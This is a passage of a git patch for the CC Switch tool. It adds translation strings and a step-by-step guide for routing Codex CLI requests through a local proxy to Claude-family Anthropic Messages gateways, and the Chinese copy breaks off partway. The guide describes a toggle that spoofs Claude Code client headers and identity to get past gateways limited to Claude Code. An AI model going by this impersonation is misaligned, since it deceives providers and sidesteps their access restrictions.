Claude provider always requires local routing; routing automatically selects Chat Completions or Responses based on the current model.", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 94dfe2c5d..ddcbf6f8a 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -256,6 +256,7 @@ "proxyReasonCopilot": "GitHub Copilot を Claude プロバイダーとして使用しており", "proxyReasonOpenAIChat": "OpenAI Chat API フォーマットを使用しており", "proxyReasonOpenAIResponses": "OpenAI Responses API フォーマットを使用しており", + "proxyReasonAnthropicMessages": "Anthropic Messages API フォーマットを使用しており", "proxyReasonFullUrl": "完全 URL 接続モードが有効になっており", "openAIFormatHint": "このプロバイダーは OpenAI 互換フォーマットを使用しており、ルーティングサービスの有効化が必要です", "copilotProxyHint": "GitHub Copilot を Claude プロバイダーとして使用する場合、ローカルルーティングが常に必要です。ルーティングは現在のモデルに応じて Chat Completions または Responses を自動的に選択します。", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 8cab77aad..61a965442 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -256,6 +256,7 @@ "proxyReasonCopilot": "使用 GitHub Copilot 作為 Claude 供應商", "proxyReasonOpenAIChat": "使用 OpenAI Chat API 格式", "proxyReasonOpenAIResponses": "使用 OpenAI Responses API 格式", + "proxyReasonAnthropicMessages": "使用 Anthropic Messages API 格式", "proxyReasonFullUrl": "開啟了完整 URL 連線模式", "openAIFormatHint": "此供應商使用 OpenAI 相容格式,需要開啟路由服務才能正常使用", "copilotProxyHint": "GitHub Copilot 作為 Claude 供應商時始終需要本地路由;路由會根據目前模型自動選擇 Chat Completions 或 Responses。", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index b0f60dd3b..6b60c0b42 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -256,6 +256,7 @@ "proxyReasonCopilot": "使用 GitHub Copilot 作为 Claude 供应商", "proxyReasonOpenAIChat": "使用 OpenAI Chat 接口格式", "proxyReasonOpenAIResponses": "使用 OpenAI Responses 接口格式", + "proxyReasonAnthropicMessages": "使用 Anthropic Messages 接口格式", "proxyReasonFullUrl": "开启了完整 URL 连接模式", "openAIFormatHint": "此供应商使用 OpenAI 兼容格式,需要开启路由服务才能正常使用", "copilotProxyHint": "GitHub Copilot 作为 Claude 供应商时始终需要本地路由;路由会根据当前模型自动选择 Chat Completions 或 Responses。", From c8b0d60c2d796c214ed76a2461494d3bac06094c Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 14 Jul 2026 11:53:55 +0800 Subject: [PATCH 73/73] docs(guides): add Codex + Claude local routing guide in three languages Step-by-step guide for the v3.17.0 native Anthropic Messages upstream: add a custom Codex provider pointed at a Claude-family /v1/messages gateway, pick the anthropic upstream format, enable local routing, and verify the chain. Covers the auth-field choice (Bearer vs x-api-key), the Claude Code impersonation toggle, the 8192 max-output fallback, and a FAQ entry for gateways that restrict keys to Claude Code only. Includes four UI screenshots captured from the real 3.17.0 app with sample data, and links the guide from the v3.17.0 release notes in all three languages. --- docs/guides/codex-claude-routing-guide-en.md | 129 ++++++++++++++++++ docs/guides/codex-claude-routing-guide-ja.md | 129 ++++++++++++++++++ docs/guides/codex-claude-routing-guide-zh.md | 129 ++++++++++++++++++ .../01-codex-providers-require-routing.png | Bin 0 -> 301065 bytes .../02-claude-codex-provider-form.png | Bin 0 -> 332297 bytes .../03-anthropic-advanced-options.png | Bin 0 -> 387591 bytes .../04-local-route-codex-takeover.png | Bin 0 -> 282056 bytes docs/release-notes/v3.17.0-en.md | 18 +-- docs/release-notes/v3.17.0-ja.md | 13 +- docs/release-notes/v3.17.0-zh.md | 1 + 10 files changed, 405 insertions(+), 14 deletions(-) create mode 100644 docs/guides/codex-claude-routing-guide-en.md create mode 100644 docs/guides/codex-claude-routing-guide-ja.md create mode 100644 docs/guides/codex-claude-routing-guide-zh.md create mode 100644 docs/images/codex-claude-routing/01-codex-providers-require-routing.png create mode 100644 docs/images/codex-claude-routing/02-claude-codex-provider-form.png create mode 100644 docs/images/codex-claude-routing/03-anthropic-advanced-options.png create mode 100644 docs/images/codex-claude-routing/04-local-route-codex-takeover.png diff --git a/docs/guides/codex-claude-routing-guide-en.md b/docs/guides/codex-claude-routing-guide-en.md new file mode 100644 index 000000000..26fa9529c --- /dev/null +++ b/docs/guides/codex-claude-routing-guide-en.md @@ -0,0 +1,129 @@ +# Using Claude in Codex: CC Switch Local Routing Guide + +> Applies to CC Switch 3.17.0 and later (the Anthropic Messages upstream was introduced in 3.17.0). This guide is based on the repository documentation and code, and uses a Claude-family relay gateway as the example. Screenshots are generated from the current frontend UI with de-identified sample data to avoid exposing a real API key. + +## Why local routing is needed + +The newer Codex CLI targets the OpenAI Responses API, while the various Claude-family relay gateways and internal enterprise gateways expose the Anthropic Messages protocol — that is, `/v1/messages`. These two protocols use completely different request bodies, streaming events, and response structures, so putting such a gateway's endpoint directly into Codex configuration can only result in a request to `/responses` coming back 404. + +This feature targets the scenario where all you have is a `/v1/messages` endpoint: you have a key for some Claude-family relay gateway and want to run Claude-family models with Codex's interaction style; or your company has banned the Claude Code client for compliance reasons and kept only an approved Claude-family gateway — the model itself is available, and all that's missing is a permitted client, which Codex can now fill. + +CC Switch's approach is to keep Codex always talking to the local route and still sending Responses API requests; once the route detects that the active provider is Anthropic-format, it converts the request into Anthropic Messages for the upstream, then converts the response back into the Responses shape it returns to Codex. + +![Needs routing marker in the Codex provider list](../images/codex-claude-routing/01-codex-providers-require-routing.png) + +The chain has four main steps: + +1. When Codex is taken over, the local configuration is written as `http://127.0.0.1:15721/v1`, and `wire_api = "responses"` is forcibly kept in place. +2. The provider's `anthropic` upstream format tells the route that the real upstream speaks the Anthropic Messages protocol. +3. The route rewrites `/responses` to `/v1/messages` and converts the Responses request body into an Anthropic request body. +4. After the upstream responds, the route converts the Anthropic JSON or SSE back into the Responses JSON/SSE that Codex understands — reasoning content, tool calls, and images are all within the conversion scope. + +## Prerequisites + +Prepare these three things first: + +- CC Switch installed and able to start (3.17.0 or later). +- Codex CLI installed and run at least once, so the `~/.codex/` directory structure exists. +- An API key that can reach an Anthropic Messages protocol endpoint (`/v1/messages`) — from some Claude-family relay gateway, or an internal enterprise Claude gateway; follow the gateway's documentation for its endpoint and auth method. Note: some providers restrict their Claude API to Claude Code only, so such a key may error out when used through Codex — if you're unsure, check with your provider first. + +The Codex tab currently has no built-in Anthropic preset, so the steps below use the `Custom Configuration` path — just four or five fields from start to finish. + +## Step 1: Add a Codex provider + +Open CC Switch, switch to the top-level `Codex` tab, click the plus button in the upper-right corner to add a provider, keep the default `Custom Configuration`, then fill in: + +- **Provider Name**: anything you like, e.g. `Claude Gateway`. +- **API Key**: your gateway key. The real key is stored only in CC Switch and injected by the local route when forwarding, so it never enters Codex's live config. +- **API Request URL**: just the gateway's service root, e.g. `https://claude-gateway.example.com`. It works with or without a trailing `/v1` — the route sends requests to `/v1/messages` automatically; don't assemble `/v1/messages` yourself (if your gateway documentation gives you a complete messages URL, you can turn on the `Full URL` toggle next to it and paste it verbatim). The yellow hint below the address bar, "compatible with OpenAI Response format", is generic copy written for the direct Responses scenario; when you choose the Anthropic format, just fill it in as this guide describes. +- **Default Model**: enter a Claude model id the gateway recognizes, e.g. `claude-sonnet-5`; follow the model names in the gateway's documentation. + +Then expand `Advanced Options` and change `Upstream Format` from the default `Responses (native)` to **`Anthropic Messages (routing required)`**. + +![Codex provider form for a Claude gateway](../images/codex-claude-routing/02-claude-codex-provider-form.png) + +After selecting Anthropic Messages, three supporting fields appear below: + +![Advanced options for the Anthropic upstream](../images/codex-claude-routing/03-anthropic-advanced-options.png) + +- **Auth field**: determines which header carries the API key to the upstream; only one of the two is sent — choose per your gateway's documentation. + - `ANTHROPIC_AUTH_TOKEN (Authorization)`: sends `Authorization: Bearer `. This is the default, and most Claude-family relay gateways use it. + - `ANTHROPIC_API_KEY (x-api-key)`: sends `x-api-key: `. Some gateways that follow Anthropic's native header convention require this. Picking the wrong one usually shows up as 401 / 403. +- **Emulate Claude Code client**: off by default. Turn it on only when the gateway or its upstream restricts usage to "Claude Code only"; when enabled, it spoofs the User-Agent, `anthropic-beta`, and `x-app` headers and injects the Claude Code identity as the first line of the system prompt. Ordinary gateways don't need it; if you're still rejected after enabling it, see "FAQ". +- **Max output tokens**: the Anthropic protocol's `max_tokens` is required, and when a Codex request carries no output ceiling the route falls back to a conservative 8192, which may truncate long answers or deep reasoning (showing up as an incomplete reply, `stop_reason=max_tokens`). If you hit truncation, raise this to the model's real ceiling here — but don't exceed it, or the upstream will 400 outright. + +The `Model Mapping` in the same area is optional: add model ids like `claude-opus-4-8`, `claude-sonnet-5`, and `claude-haiku-4-5-20251001` (use the names your upstream recognizes) one per row, and CC Switch generates a model catalog so Codex's `/model` menu can list them; you can also leave it empty, in which case Codex just requests the default model. + +After you save the provider, a `Needs Routing` marker appears on the card — providers like this only work while local routing is running. + +## Step 2: Enable local routing and take over Codex + +Go to the `Routing` page in Settings, expand `Local Routing`, and complete two toggles: + +1. Turn on the `Routing Master Switch` to start the local service (the first time you enable it, an explanatory confirmation dialog appears). The default address is `127.0.0.1:15721`. +2. Turn on `Codex` under `Routing Enabled`. If you only want Codex to use routing, you can leave Claude and Gemini off. + +![Enabling Codex takeover on the local routing page](../images/codex-claude-routing/04-local-route-codex-takeover.png) + +After takeover, CC Switch points Codex's live config at the local route (`base_url = http://127.0.0.1:15721/v1`), with only a placeholder in `auth.json`. The real Claude key stays in the CC Switch provider config and is injected by the local route on forward, using the auth field you selected. + +## Step 3: Switch providers and restart Codex + +Return to the Codex provider list and click `Enable` on the Claude provider. If routing isn't running, CC Switch shows "This provider uses Anthropic Messages API format, requires the routing service to work properly. Start routing first." — just go back to Step 2 and turn it on. + +After switching, restart the current Codex terminal session: `config.toml` and the model catalog are read when the Codex process starts, and a running process isn't guaranteed to hot-load them. + +Inside Codex you can verify step by step: + +- If you configured model mapping, use `/model` to check whether the Claude models now appear in the menu; without a mapping, Codex just uses the default model. +- Send a small question and watch the "Current Provider" on the Settings → Routing page change from "Waiting for first request..." to your Claude provider, with "Total Requests" starting to climb. +- In the usage dashboard, these requests show their model names faithfully as `claude-*`, and you can filter by provider to reconcile token usage. + +## Capabilities and known limitations + +- **Prompt caching is automatic**: the conversion bridge injects standard 5-minute prompt-cache markers (system prompt, tool definitions, and conversation history) per Anthropic's convention, so long conversations don't resend everything at full price each turn — no configuration needed. +- **Reasoning and tools are lossless**: extended thinking content round-trips across the bridge intact, and multi-turn tool calls, image inputs, and PDF inputs are all fully converted. +- **Supports the `[1m]` long-context marker**: when the default model or a model id in the mapping ends with `[1m]` (e.g. `claude-sonnet-5[1m]`), the route strips the marker and automatically adds the corresponding 1M-context beta header, provided the gateway supports that capability. +- **Web search is unavailable**: in Anthropic upstream mode, Codex's built-in `web_search` is deliberately disabled — the conversion layer can't translate it for the Anthropic endpoint, and disabling it avoids presenting the model with a tool that's guaranteed to fail. +- **Truncation is reported faithfully**: when the upstream stops at the output ceiling or the stream is cut off, Codex sees "incomplete" rather than a disguised success, making it easy to notice and raise the max output tokens. + +## FAQ + +**The upstream returns 401 or 403** + +Nine times out of ten the auth field doesn't match what the gateway wants: switch between `ANTHROPIC_AUTH_TOKEN (Authorization)` and `ANTHROPIC_API_KEY (x-api-key)` per your gateway's documentation and try again (most gateways use the default Bearer). Also confirm the key itself is valid and has balance. + +**Codex reports 404 or cannot find `/responses`** + +Usually Codex routing takeover isn't enabled, or you manually wrote the gateway's address directly into Codex — an Anthropic-protocol upstream has no `/responses` endpoint, so that always 404s. Check whether the current provider's `base_url` in `~/.codex/config.toml` points to `http://127.0.0.1:15721/v1`. + +**The upstream returns 404 (routing already enabled)** + +Check the API Request URL: it should be the gateway's service root, not an address carrying another protocol's path such as `/chat/completions`. When the gateway path is unusual, use the `Full URL` toggle to paste the complete messages endpoint directly. + +**Replies often get cut off mid-way** + +This is the default 8192 output ceiling showing up. Raise it in `Max output tokens` under the provider form's Advanced Options (don't exceed the model's/gateway's real ceiling), save, and retry. + +**`/model` doesn't show the Claude models** + +Confirm you've added entries to the model mapping, then restart Codex after saving the provider — the model catalog isn't hot-loaded by a running process. When the default model isn't in the mapping, the menu won't list it, but a direct request still works. + +**Web search doesn't work** + +By design; see "Capabilities and known limitations". For tasks that need web search, switch back to a Responses/Chat-format provider. + +**An error says usage is restricted to Claude Code** + +Some providers restrict their Claude API to the Claude Code client, so it gets rejected when going through this guide's chain via Codex. Try turning on the `Emulate Claude Code client` toggle in Advanced Options; if it still errors after that, the restriction is enforced on the provider's side — check with your provider whether your key can be used outside Claude Code. Keep this toggle off for ordinary gateways. + +## Compliance note + +Before using this in the "company bans the client but keeps only the gateway" scenario, it's worth confirming that doing so complies with your organization's specific policy — whether what's banned is a specific client or a manner of use differs from one place to the next. When using a third-party relay gateway, read the target gateway's terms on billing, compliance, and data retention. + +## References + +- [CC Switch User Manual: Proxy Service](../user-manual/en/4-proxy/4.1-service.md) +- [CC Switch User Manual: App Routing](../user-manual/en/4-proxy/4.2-routing.md) +- [CC Switch v3.17.0 Release Notes](../release-notes/v3.17.0-en.md) +- This feature comes from community contribution [#5071](https://github.com/farion1231/cc-switch/pull/5071); thanks @yeeyzy. diff --git a/docs/guides/codex-claude-routing-guide-ja.md b/docs/guides/codex-claude-routing-guide-ja.md new file mode 100644 index 000000000..1724af20c --- /dev/null +++ b/docs/guides/codex-claude-routing-guide-ja.md @@ -0,0 +1,129 @@ +# Codex で Claude を使う: CC Switch ローカルルーティングガイド + +> 対象バージョン: CC Switch 3.17.0 以降(「Anthropic Messages 上流」は 3.17.0 から導入)。本記事はリポジトリ内のドキュメントとコードをもとに整理し、Claude 系中継ゲートウェイを例に説明します。スクリーンショットは現在のフロントエンド UI から、実際の API Key が漏れないよう匿名化したサンプルデータで生成しています。 + +## ローカルルーティングが必要な理由 + +新しい Codex CLI は OpenAI Responses API を前提にしています。一方で各種 Claude 系中継ゲートウェイや企業内部ゲートウェイが公開しているのは Anthropic Messages プロトコル、つまり `/v1/messages` です。この 2 つのプロトコルは、リクエストボディ、ストリーミングイベント、レスポンス構造がまったく異なります。この種のゲートウェイのエンドポイントをそのまま Codex 設定に入れても、`/responses` へのリクエストが 404 になるだけです。 + +この機能は「手元にあるのが `/v1/messages` エンドポイントだけ」という場面のためのものです。ある Claude 系中継ゲートウェイの Key を持っていて、Codex の操作感で Claude 系モデルを使いたい。あるいは会社がコンプライアンス方針で Claude Code クライアントを禁止し、承認済みの Claude 系ゲートウェイだけを残している——モデル自体は利用できるのに、許可されたクライアントがないだけです。その空白を Codex で埋められます。 + +CC Switch では、Codex が常にローカルルートへ接続し、Responses API のままリクエストを送るようにします。ルートは現在のプロバイダーが Anthropic 形式だと判定すると、リクエストを Anthropic Messages に変換して上流へ送り、最後にレスポンスを Responses 形式へ戻して Codex に返します。 + +![Codex プロバイダー一覧の「ルーティングが必要」マーク](../images/codex-claude-routing/01-codex-providers-require-routing.png) + +この経路は主に 4 つのステップに分かれます: + +1. Codex を引き継ぐと、ローカル設定は `http://127.0.0.1:15721/v1` に書き換えられ、`wire_api = "responses"` が強制的に維持されます。 +2. プロバイダーの上流フォーマット `anthropic` が、実際の上流は Anthropic Messages プロトコルだとルートに伝えます。 +3. ルートは `/responses` を `/v1/messages` に書き換え、Responses のリクエストボディを Anthropic のリクエストボディへ変換します。 +4. 上流から返ってきた後、ルートは Anthropic の JSON または SSE を Codex が理解できる Responses JSON/SSE へ変換して返します——推論内容、ツール呼び出し、画像もすべて変換対象です。 + +## 事前準備 + +先に次の 3 つを用意してください: + +- インストール済みで起動できる CC Switch(3.17.0 以降)。 +- インストール済みの Codex CLI。少なくとも 1 回は実行し、`~/.codex/` のディレクトリ構造が存在していること。 +- Anthropic Messages プロトコルのエンドポイント(`/v1/messages`)へアクセスできる API Key——ある Claude 系中継ゲートウェイ、または企業内部の Claude ゲートウェイのもの。エンドポイントと認証方式はゲートウェイのドキュメントに従ってください。注意:一部のプロバイダーは Claude API を Claude Code 内でのみ利用できるよう制限しており、この種の Key を Codex で使うとエラーになることがあります。判断がつかない場合は、先にプロバイダーへ問い合わせてください。 + +Codex タブには現時点で Anthropic の内蔵プリセットがないため、以下では「カスタム設定」の手順で進めます。入力する項目は全体でも 4〜5 個です。 + +## Step 1: Codex プロバイダーを追加する + +CC Switch を開き、上部の `Codex` タブへ切り替え、右上のプラスボタンからプロバイダーを追加します。デフォルトの `カスタム設定` のまま、次の項目を入力します: + +- **プロバイダー名**: 任意です。たとえば `Claude Gateway`。 +- **API Key**: あなたのゲートウェイの Key。実際の Key は CC Switch 内にのみ保存され、ローカルルートが転送時に注入するため、Codex の live 設定には入りません。 +- **API エンドポイント**: ゲートウェイのルートアドレスを入力すれば十分です。たとえば `https://claude-gateway.example.com`。`/v1` は付けても付けなくても正しく処理され、ルートが自動的に `/v1/messages` へリクエストを送ります。自分で `/v1/messages` を組み立てないでください(ゲートウェイのドキュメントが完全な messages URL を指定している場合は、隣の `フル URL` スイッチをオンにしてそのまま貼り付けても構いません)。アドレス欄の下に表示される「OpenAI Response 互換」という黄色のヒントは Responses 直結向けの汎用文言です。Anthropic フォーマットを選ぶ場合は本記事のとおりに入力してください。 +- **デフォルトモデル**: ゲートウェイが認識する Claude モデル ID を入力します。たとえば `claude-sonnet-5`。ゲートウェイのドキュメントにあるモデル名に従ってください。 + +続いて `高級オプション` を展開し、`上流フォーマット` をデフォルトの `Responses(ネイティブ)` から **`Anthropic Messages(ルーティング必須)`** に変更します。 + +![Claude ゲートウェイの Codex プロバイダーフォーム](../images/codex-claude-routing/02-claude-codex-provider-form.png) + +Anthropic Messages を選ぶと、下に 3 つの関連フィールドが追加で表示されます: + +![Anthropic 上流の高級オプション](../images/codex-claude-routing/03-anthropic-advanced-options.png) + +- **認証フィールド**: API Key をどのヘッダーで上流へ送るかを決めます。送信されるのはどちらか一方のみで、ゲートウェイのドキュメントに従って選びます。 + - `ANTHROPIC_AUTH_TOKEN(Authorization)`: `Authorization: Bearer ` を送信します。デフォルト値で、多くの Claude 系中継ゲートウェイがこの方式を使います。 + - `ANTHROPIC_API_KEY(x-api-key)`: `x-api-key: ` を送信します。Anthropic ネイティブのヘッダー規約を踏襲する一部のゲートウェイはこちらを要求します。選択を誤ると、通常 401 / 403 という形で現れます。 +- **Claude Code クライアントを模倣**: デフォルトはオフです。ゲートウェイ(またはその上流)が「Claude Code からのみ利用可能」と制限している場合にのみオンにします。オンにすると User-Agent・`anthropic-beta`・`x-app` ヘッダーを偽装し、システムプロンプトの先頭行に Claude Code のアイデンティティを注入します。通常のゲートウェイでは不要です。オンにしても拒否される場合の対処は「よくある質問」を参照してください。 +- **最大出力トークン**: Anthropic プロトコルの `max_tokens` は必須項目です。Codex のリクエストが出力上限を含まない場合、ルートは保守的に 8192 で補います。長い回答や深い思考では切り詰められることがあります(回答が不完全になる、`stop_reason=max_tokens` になる、といった形で現れます)。切り詰められたら、ここでモデルの実際の上限に合わせて引き上げてください。ただし超えないように——超えると上流が直接 400 を返します。 + +同じエリアの `モデルマッピング` は任意です。`claude-opus-4-8`、`claude-sonnet-5`、`claude-haiku-4-5-20251001` のようなモデル ID(上流が認識する名前に従ってください)を 1 行ずつ追加すると、CC Switch がモデルカタログを生成し、Codex の `/model` メニューに一覧表示できるようになります。入力しなくても利用でき、その場合 Codex はデフォルトモデルを直接リクエストします。 + +プロバイダーを保存すると、カードに `ルーティングが必要` のマークが表示されます——この種のプロバイダーは、ローカルルーティングが実行中でなければ正しく動作しません。 + +## Step 2: ローカルルーティングを有効にして Codex をルーティングする + +設定の `ルーティング` ページに入り、`ローカルルーティング` を展開して、2 つのスイッチを設定します: + +1. `ルーティング総スイッチ` をオンにしてローカルサービスを起動します(初回起動時は説明の確認ダイアログが表示されます)。デフォルトアドレスは `127.0.0.1:15721` です。 +2. `ルーティング有効` で `Codex` をオンにします。Codex だけをルーティングしたい場合は、Claude と Gemini はオフのままで構いません。 + +![ローカルルーティング画面で Codex のルーティングを有効化](../images/codex-claude-routing/04-local-route-codex-takeover.png) + +引き継ぎ後、CC Switch は Codex の live 設定をローカルルートへ向け(`base_url = http://127.0.0.1:15721/v1`)、`auth.json` にはプレースホルダーだけが入ります。実際の Claude Key は CC Switch のプロバイダー設定内に残り、ローカルルートが転送時に、あなたが選んだ認証フィールドに従って注入します。 + +## Step 3: プロバイダーを切り替えて Codex を再起動する + +Codex プロバイダー一覧に戻り、Claude プロバイダーの `有効化` をクリックします。ルーティングが実行されていない場合、CC Switch は「このプロバイダーは Anthropic Messages API フォーマットを使用しており、ルーティングサービスが必要です。先にルーティングを起動してください」と表示します——Step 2 に戻ってオンにすれば解決します。 + +切り替え後は、現在の Codex ターミナルセッションを再起動することをおすすめします。`config.toml` とモデルカタログは Codex プロセスの起動時に読み込まれるため、実行中のプロセスがホットロードするとは限りません。 + +Codex に入ったら、段階的に確認できます: + +- モデルマッピングを設定している場合は、`/model` で Claude モデルがメニューに表示されているか確認します。マッピングを設定していない場合、Codex はデフォルトモデルを直接使います。 +- 小さな質問を 1 つ送り、設定 → ルーティングページの「現在のプロバイダー」が「最初のリクエスト待ち」からあなたの Claude プロバイダーに変わり、「総リクエスト数」が増え始めるのを確認します。 +- 使用量ダッシュボードでは、これらのリクエストのモデル名が `claude-*` としてそのまま表示され、プロバイダーで絞り込んで token 使用量を照合できます。 + +## 機能の範囲と既知の制限 + +- **プロンプトキャッシュが自動で有効**: 変換ブリッジは Anthropic 標準に従って 5 分のプロンプトキャッシュマーカー(システムプロンプト、ツール定義、対話履歴)を注入します。長い対話でも毎回全額で再送されることはなく、設定は不要です。 +- **推論とツールを無損失で往復**: extended thinking の内容はブリッジをまたいで往復しても保持され、複数ターンのツール呼び出し、画像、PDF 入力も完全に変換されます。 +- **`[1m]` 長コンテキストマーカーに対応**: デフォルトモデルやモデルマッピングのモデル ID が `[1m]` で終わる場合(例:`claude-sonnet-5[1m]`)、ルートはマーカーを取り除き、対応する 1M コンテキストの beta ヘッダーを自動で補います。ただし、ゲートウェイがその機能に対応していることが前提です。 +- **Web 検索は利用不可**: Anthropic 上流モードでは Codex の内蔵 `web_search` が意図的に無効化されます——変換層が Anthropic エンドポイントへ翻訳できないためで、必ず失敗するツールをモデルに提示しないための措置です。 +- **切り詰めをそのまま報告**: 上流が出力上限で止まったりストリームが切断されたりすると、Codex は偽装された成功ではなく「未完了」を受け取ります。これにより気づきやすくなり、最大出力トークンを引き上げる判断ができます。 + +## よくある質問 + +**上流が 401 または 403 を返す** + +ほとんどの場合、認証フィールドがゲートウェイの要求と一致していません。`ANTHROPIC_AUTH_TOKEN(Authorization)` と `ANTHROPIC_API_KEY(x-api-key)` を、ゲートウェイのドキュメントに従って切り替えて再試行してください(多くのゲートウェイはデフォルトの Bearer です)。あわせて、Key 自体が有効で残高があることも確認してください。 + +**Codex が 404 を返す、または `/responses` が見つからない** + +多くの場合、Codex のルーティング引き継ぎが有効になっていないか、ゲートウェイのエンドポイントを手動で Codex に直接書いています——Anthropic プロトコルの上流には `/responses` エンドポイントが存在しないため、必ず 404 になります。`~/.codex/config.toml` の現在の provider の `base_url` が `http://127.0.0.1:15721/v1` を指しているか確認してください。 + +**上流が 404 を返す(ルーティングは有効)** + +API エンドポイントを確認してください。ゲートウェイのルートアドレスであるべきで、`/chat/completions` のような別プロトコルのパスが付いたアドレスではいけません。ゲートウェイのパスが特殊な場合は、`フル URL` スイッチを使って完全な messages エンドポイントをそのまま貼り付けてください。 + +**回答が途中で切り詰められることが多い** + +これはデフォルトの 8192 出力上限の現れです。プロバイダーフォームの高級オプションにある `最大出力トークン` で引き上げ(モデル / ゲートウェイの実際の上限を超えないように)、保存してから再試行してください。 + +**`/model` に Claude モデルが表示されない** + +モデルマッピングにエントリが追加されていることを確認し、プロバイダーを保存してから Codex を再起動してください——モデルカタログは実行中のプロセスにはホットロードされません。デフォルトモデルがマッピングに含まれていない場合、メニューには表示されませんが、直接リクエストは有効です。 + +**Web 検索が使えない** + +仕様どおりです。「機能の範囲と既知の制限」を参照してください。Web 検索が必要なタスクは、Responses / Chat フォーマットのプロバイダーへ切り替えることをおすすめします。 + +**Claude Code でしか使えないというエラーが出る** + +一部のプロバイダーは、その Claude API を Claude Code クライアント内でのみ利用できるよう制限しており、本ガイドの経路で Codex から使うと拒否されます。高級オプションの `Claude Code クライアントを模倣` スイッチをオンにして試すことはできますが、それでもエラーになる場合、制限はプロバイダーのサーバー側にあります。その Key を Claude Code 以外で使えるかどうか、プロバイダーへ問い合わせて確認してください。通常のゲートウェイでは、このスイッチはオフのままにしてください。 + +## コンプライアンスに関する注意 + +「会社がクライアントを禁止し、ゲートウェイだけを残している」という場面で使う前に、この使い方が所属組織の具体的な方針に沿っているかを確認することをおすすめします——禁止されているのが特定のクライアントなのか、それともある種の利用方法なのかは、組織によって解釈が異なります。サードパーティ中継ゲートウェイを使う場合は、対象ゲートウェイの課金・コンプライアンス・データ保持に関する規約を必ずお読みください。 + +## 参考リンク + +- [CC Switch ユーザーマニュアル: プロキシサービス](../user-manual/ja/4-proxy/4.1-service.md) +- [CC Switch ユーザーマニュアル: アプリケーションルーティング](../user-manual/ja/4-proxy/4.2-routing.md) +- [CC Switch v3.17.0 リリースノート](../release-notes/v3.17.0-ja.md) +- この機能はコミュニティからの貢献 [#5071](https://github.com/farion1231/cc-switch/pull/5071) によるものです。@yeeyzy に感謝します。 diff --git a/docs/guides/codex-claude-routing-guide-zh.md b/docs/guides/codex-claude-routing-guide-zh.md new file mode 100644 index 000000000..73b164c6c --- /dev/null +++ b/docs/guides/codex-claude-routing-guide-zh.md @@ -0,0 +1,129 @@ +# 在 Codex 中用 Claude:CC Switch 本地路由攻略 + +> 适用版本:CC Switch 3.17.0 及以上(「Anthropic Messages 上游」自 3.17.0 引入)。本文根据仓库内文档与代码整理,以 Claude 系中转网关为例演示。截图来自当前前端界面,使用去敏示例数据生成,避免泄露真实 API Key。 + +## 为什么需要本地路由 + +新版 Codex CLI 面向的是 OpenAI Responses API,而各类 Claude 系中转网关、企业内部网关暴露的是 Anthropic Messages 协议,也就是 `/v1/messages`。这两种协议的请求体、流式事件和返回结构完全不同,把这类网关的接口地址直接填进 Codex 配置里,结果只能是请求 `/responses` 返回 404。 + +这个功能面向的就是「手里只有 `/v1/messages` 端点」的场景:你有某个 Claude 系中转网关的 Key,想用 Codex 的交互习惯跑 Claude 系列模型;或者公司出于合规策略禁用了 Claude Code 客户端、只保留了经批准的 Claude 系网关——模型本身可用,缺的只是一个被允许的客户端,现在 Codex 可以补上这个位置。 + +CC Switch 的做法是让 Codex 始终连本机路由,仍以 Responses API 发送请求;路由识别当前供应商是 Anthropic 格式后,把请求转换成 Anthropic Messages 发给上游,再把响应转换回 Responses 形态返回给 Codex。 + +![Codex 供应商列表里的需要路由标记](../images/codex-claude-routing/01-codex-providers-require-routing.png) + +这条链路主要分成四步: + +1. Codex 接管时,本地配置会被写成 `http://127.0.0.1:15721/v1`,并强制保持 `wire_api = "responses"`。 +2. 供应商的上游格式 `anthropic` 会告诉路由:真实上游说的是 Anthropic Messages 协议。 +3. 路由把 `/responses` 改写到 `/v1/messages`,并把 Responses 请求体转换成 Anthropic 请求体。 +4. 上游返回后,路由再把 Anthropic 的 JSON 或 SSE 转回 Codex 能理解的 Responses JSON/SSE——推理内容、工具调用、图片都在转换范围内。 + +## 准备工作 + +你需要先准备好三样东西: + +- 已安装并能启动的 CC Switch(3.17.0 及以上)。 +- 已安装 Codex CLI,并至少运行过一次,让 `~/.codex/` 目录结构存在。 +- 一个能访问 Anthropic Messages 协议端点(`/v1/messages`)的 API Key——来自某个 Claude 系中转网关,或企业内部的 Claude 网关;端点地址和认证方式以网关文档为准。注意:部分供应商会限制其 Claude API 只能在 Claude Code 中使用,这类 Key 走 Codex 可能会报错,拿不准就先咨询供应商。 + +Codex 页签目前没有 Anthropic 内置预设,下面走「自定义配置」路径,全程也就四五个字段。 + +## 第一步:添加 Codex 供应商 + +打开 CC Switch,切到顶部的 `Codex` 标签,点击右上角的加号添加供应商,保持默认的 `自定义配置`,然后填写: + +- **供应商名称**:随意,例如 `Claude Gateway`。 +- **API Key**:你的网关 Key。真实 Key 只保存在 CC Switch 里,由本地路由转发时注入,不会进入 Codex 的 live 配置。 +- **API 请求地址**:填网关服务根地址即可,例如 `https://claude-gateway.example.com`。带不带 `/v1` 都能被正确处理,路由会自动把请求打到 `/v1/messages`;不要自己拼 `/v1/messages`(如果网关文档给的就是完整 messages URL,打开旁边的 `完整 URL` 开关原样粘贴也可以)。地址栏下方那句「兼容 OpenAI Response 格式」的黄色提示是为 Responses 直连场景写的通用文案,选 Anthropic 格式时按本文填写即可。 +- **默认模型**:填网关认识的 Claude 模型 id,例如 `claude-sonnet-5`,以网关文档给出的模型名为准。 + +然后展开 `高级选项`,把 `上游格式` 从默认的 `Responses(原生)` 改成 **`Anthropic Messages(需开启路由)`**。 + +![Claude 网关的 Codex 供应商表单](../images/codex-claude-routing/02-claude-codex-provider-form.png) + +选中 Anthropic Messages 后,下方会多出三个配套字段: + +![Anthropic 上游的高级选项](../images/codex-claude-routing/03-anthropic-advanced-options.png) + +- **认证字段**:决定 API Key 以哪个请求头发给上游,两者只发其一,按网关文档选择。 + - `ANTHROPIC_AUTH_TOKEN(Authorization)`:发 `Authorization: Bearer `,是默认值,多数 Claude 系中转网关用这种。 + - `ANTHROPIC_API_KEY(x-api-key)`:发 `x-api-key: `,部分沿用 Anthropic 原生请求头约定的网关要求这种。选错通常表现为 401 / 403。 +- **模拟 Claude Code 